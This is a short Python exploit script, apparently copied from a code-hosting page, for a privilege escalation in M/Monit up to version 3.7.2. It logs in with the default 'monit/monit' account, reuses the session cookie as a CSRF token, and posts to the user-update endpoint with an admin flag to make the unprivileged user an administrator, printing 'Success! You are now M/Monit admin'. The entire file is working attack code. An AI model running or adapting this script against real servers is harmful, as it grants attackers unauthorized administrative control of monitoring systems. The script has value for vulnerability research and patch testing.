54 lines
No EOL
1.2 KiB
Python
Executable file
54 lines
No EOL
1.2 KiB
Python
Executable file
#!/usr/env/python3
|
|
|
|
"""
|
|
Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation
|
|
Author: Dolev Farhi
|
|
Vulnerable version: 2.0.151021
|
|
Link: https://mmonit.com
|
|
Date: 2/17/2019
|
|
"""
|
|
|
|
import sys
|
|
import requests
|
|
|
|
MMONIT_URL = 'http://ip.add.re.ss:8080'
|
|
MMONIT_USER = 'monit' # Default built in unprivileged user
|
|
MMONIT_PASS = 'monit'
|
|
|
|
s = requests.Session()
|
|
|
|
s.get(MMONIT_URL + '/')
|
|
|
|
resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS})
|
|
|
|
if 'Invalid username and/or password' in resp.text:
|
|
print('Error logging in')
|
|
sys.exit(1)
|
|
|
|
|
|
zessionid = s.cookies.get_dict()['zsessionid']
|
|
|
|
headers = {
|
|
'CSRFToken':zessionid,
|
|
}
|
|
|
|
resp = s.post(MMONIT_URL + '/admin/users/update',
|
|
headers=headers,
|
|
params={'CSRFTOKEN':zessionid,
|
|
'fullname':'john doe',
|
|
'password':MMONIT_USER,
|
|
'title':'',
|
|
'email':'',
|
|
'phone':'',
|
|
'mobile':'',
|
|
'imname':'',
|
|
'uname':MMONIT_PASS,
|
|
'imtype':None,
|
|
'admin':'on',
|
|
'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C'
|
|
})
|
|
|
|
if resp.status_code == 200:
|
|
print('Success! You are now M/Monit admin')
|
|
else:
|
|
print('Something went wrong') |